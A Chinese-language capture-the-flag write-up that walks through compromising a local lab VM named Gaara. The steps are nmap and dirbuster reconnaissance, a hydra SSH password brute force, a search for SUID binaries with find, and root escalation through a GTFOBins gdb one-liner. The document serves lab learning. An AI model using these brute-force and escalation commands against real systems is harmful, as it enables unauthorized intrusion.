主机ip:192.168.52.142

nmap扫描

ctf靶机suid提权笔记_用户名


22端口和80端口开着


22为ssh端口,用于SSH远程链接,攻击方向为爆破,SSH隧道及内网转发 文件存储


80为web服务端口,一般进行Web攻击,爆破,对应服务器版本漏洞


web 敏感目录扫描

使用 curl命令看能否访问ip地址


语法:# curl [option] [url]

1.

执行curl 192.168.52.142


执行后,192.168.52.142 的html就会显示在屏幕上了

ctf靶机suid提权笔记_用户名_02




使用dirbuster扫描敏感目录

当然也可以用在线网Webscan或者其他软件扫描

看看有没有敏感目录文件(自带的字典在/usr/share/dirbuster/wordlists下)



ctf靶机suid提权笔记_用户名_03


没有收获


SSH暴力破解

网站没有敏感目录,接下来只有ssh端口可以利用,从web网站得到的唯一信息就是gaara这个名字,猜测此名称为SSH登录时的用户名

接下来尝试使用字典进行爆破

使用kali里的hydra,加上kali自带的字典比如/usr/share/wordlists/metasploit/unix_passwords.txt


跑出密码登录ssh


root@kali:/home/kali# ssh gaara@192.168.52.142

gaara@192.168.52.142's password:

···

gaara@Gaara:~$ id

uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。


如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。


以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。


find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;


输入命令后可以看到以下文件具有SUID权限






在GTFOBins可以查看哪些能提权,哪些能维持权限


经过搜索发现gdb可以提权


ctf靶机suid提权笔记_root权限_04



执行/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit看看


成功获取root权限



# whoami

root



最后获取flag

ctf靶机suid提权笔记_root权限_05